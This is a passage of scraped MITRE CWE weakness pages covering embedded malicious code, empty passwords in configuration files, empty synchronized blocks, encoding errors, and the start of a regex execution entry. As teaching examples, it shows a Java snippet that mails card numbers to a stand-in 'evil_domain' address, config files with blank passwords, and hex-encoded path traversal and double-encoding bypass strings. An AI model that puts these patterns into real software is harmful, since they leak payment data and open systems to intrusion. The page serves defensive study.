Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains code that appears to be malicious in nature.
+ Extended Description
Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.912Hidden Functionality
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.507Trojan Horse
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.510Trapdoor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.511Logic/Time Bomb
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.512Spyware
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Bundling
Distribution
Installation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Demonstrative Examples

Example 1

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

(bad code)
Example Language: Java 
boolean authorizeCard(String ccn) {

// Authorize credit card.

...

mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
+ Observed Examples
ReferenceDescription
A command history tool was shipped with a code-execution backdoor inserted by a malicious party.
+ Potential Mitigations

Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
+ Detection Methods

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
  • Generated Code Inspection

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Automated Monitored Execution

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Origin Analysis

Effectiveness: SOAR Partial

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Terminology

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
LandwehrMalicious
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Landwehr
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-09-27CWE Content TeamMITRE
updated Other_Notes, Terminology_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Time_of_Introduction
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Malicious

CWE-258: Empty Password in Configuration File

Weakness ID: 258
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Using an empty string as a password is insecure.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.521Weak Password Requirements
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.260Password in Configuration File
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but the password is provided as an empty string.

This Java example shows a properties file with an empty password string.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database and the password is provided as an empty string.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

An empty string should never be used as a password as this can allow unauthorized access to the application. Username and password information should not be included in a configuration file or a properties file in clear text. If possible, encrypt this information and avoid CWE-260 and CWE-13.

+ Observed Examples
ReferenceDescription
Network access control (NAC) product has a configuration file with an empty password
+ Potential Mitigations

Phase: System Configuration

Passwords should be at least eight characters long -- the longer the better. Avoid passwords that are in any way similar to other passwords you have. Avoid using words that may be found in a dictionary, names book, on a map, etc. Consider incorporating numbers and/or punctuation into your password. If you do use common words, consider replacing letters in that word with numbers and punctuation. However, do not use "similar-looking" punctuation. For example, it is not a good idea to change cat to c@t, ca+, (@+, or anything similar. Finally, it is never appropriate to use an empty string as a password.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.950SFP Secondary Cluster: Hardcoded Sensitive Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPassword Management: Empty Password in Configuration File
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-585: Empty Synchronized Block

Weakness ID: 585
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains an empty synchronized block.
+ Extended Description
An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1071Empty Code Block
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.
+ Demonstrative Examples

Example 1

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

(bad code)
Example Language: Java 
synchronized(this) { }

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

(good code)
 
public void setID(int ID){
synchronized(this){
this.ID = ID;
}
}
+ Potential Mitigations

Phase: Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.987SFP Secondary Cluster: Multiple Locks/Unlocks
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP21Multiple locks/unlocks
+ References
[REF-478] "Intrinsic Locks and Synchronization (in Java)". <https://docs.oracle.com/javase/tutorial/essential/concurrency/locksync.html>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations, References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-172: Encoding Error

Weakness ID: 172
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly encode or decode the data, resulting in unexpected values.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.173Improper Handling of Alternate Encoding
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.174Double Decoding of the Same Data
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.175Improper Handling of Mixed Encoding
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.176Improper Handling of Unicode Encoding
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.177Improper Handling of URL Encoding (Hex Encoding)
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Forum software improperly URL decodes the highlight parameter when extracting text to highlight, which allows remote attackers to execute arbitrary PHP code by double-encoding the highlight value so that special characters are inserted into the result.
XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F)
Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode.
Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

Partially overlaps path traversal and equivalence weaknesses.

Maintenance

This is more like a category than a weakness.

Maintenance

Many other types of encodings should be listed in this category.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEREncoding Error
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Description
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-624: Executable Regular Expression Error

Weakness ID: 624
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
+ Extended Description
Case (2) is possible in the PHP preg_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
